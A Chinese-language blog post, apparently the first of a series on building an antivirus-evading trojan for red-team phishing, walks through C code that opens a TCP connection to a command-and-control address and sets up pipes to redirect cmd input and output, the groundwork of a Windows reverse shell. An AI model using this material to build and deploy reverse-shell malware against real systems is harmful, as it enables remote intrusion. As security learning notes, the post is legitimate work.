从木马到免杀(一)

接触网络安全以来一直在学些Web方向的东西,在真实渗透场景中做外围打点工作比较多。但从近年攻防演练来看,想通过Web打点突破网络边界是越来越难的,木马钓鱼反而愈发成为更加高效的手段。此前了解不多,趁最近工作不繁忙,可以试着借助AI点点这方面的技能树了,聊以记录。

🎯学习目标:木马免杀

🛠️当前阶段:理解木马底层原理,实现能跑通的木马

📌当前主线:网络链管道链进程链转发循环实现细节

网络链——反向连接的建立

要获取目标机的shell,第一步必须先在攻击机和目标机之间起TCP连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <winsock2.h>	//socket相关声明。winsock2.h需要在windows.h之前
#include <windows.h>

#define C2_IP "127.0.0.1"
#define C2_PORT 4444

int main(void) {
WSADATA wsa; //WSADATA结构体,装有winsock的信息
WSAStartup(MAKEWORD(2, 2), &wsa); //使用2.2版本winsock,将ws2_32.dll加载进进程,而Windows的网络功能就在ws2_32.dll里

SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //IPV4,字节流,TCP,返回一个SOCKET

struct sockaddr_in addr; //连接信息
addr.sin_family = AF_INET; //IPV4
addr.sin_port = htons(C2_PORT); //将小端存储的数据转为网络传输标准的大端
addr.sin_addr.s_addr = inet_addr(C2_IP); //IP字符串转为二进制

connect(s, (struct sockaddr *)&addr, sizeof(addr)); //建立连接

return 0;
}

管道链——获取cmd的输入输出

拿到SOCKET s后,就需要解决下一个问题,如何将自己的输入变成cmd的命令,cmd的输出如何返回到攻击机。因为cmd的I/O逻辑是固定的,从“标准输入”读命令(默认是键盘),再把结果写到“标准输出”中(默认为屏幕),所以我们需要把“键盘”换成程序写的入口,“屏幕”换成程序读的出口,这里就要用到管道了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <windows.h>
#include <stdio.h>

int main(void) {
//创建“可共享对象”
SECURITY_ATTRIBUTES sa; //声明空配置单
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE; //允许子进程继承
sa.lpSecurityDescriptor = NULL;

HANDLE hInR, hInW; //输入管道两端
HANDLE hOutR, hOutW; //输出管道两端

//建输入管道:命令流入cmd用
if (!CreatePipe(&hInR, &hInW, &sa, 0)) {
printf("[!] CreatePipe(in) failed: %lu\n", GetLastError());
return 1;
}
printf("[*] input pipe : read=%p write=%p\n", (void *)hInR, (void *)hInW);

//建输出管道:cmd结果流出用
if (!CreatePipe(&hOutR, &hOutW, &sa, 0)) { //读端句柄,写端句柄,配置单,缓冲区大小(0,默认4096)
printf("[!] CreatePipe(out) failed: %lu\n", GetLastError());
CloseHandle(hInR); //输出管道建立失败时,要关闭已建的输入管道
CloseHandle(hInW);
return 1;
}
printf("[*] output pipe : read=%p write=%p\n", (void *)hOutR, (void *)hOutW);

//写入端写数据,读端读出来
const char msg[] = "hello pipe";
DWORD written = 0, readcnt = 0; //写、读大小
char buf[64] = {0}; //接收缓冲区,全0初始化

WriteFile(hInW, msg, sizeof(msg), &written, NULL); //写进输入管道
ReadFile(hInR, buf, sizeof(buf), &readcnt, NULL); //从读端取回
printf("[*] wrote %lu bytes, read back: \"%s\" (%lu bytes)\n",
written, buf, readcnt);

CloseHandle(hInR);
CloseHandle(hInW);
CloseHandle(hOutR);
CloseHandle(hOutW);
return 0;
}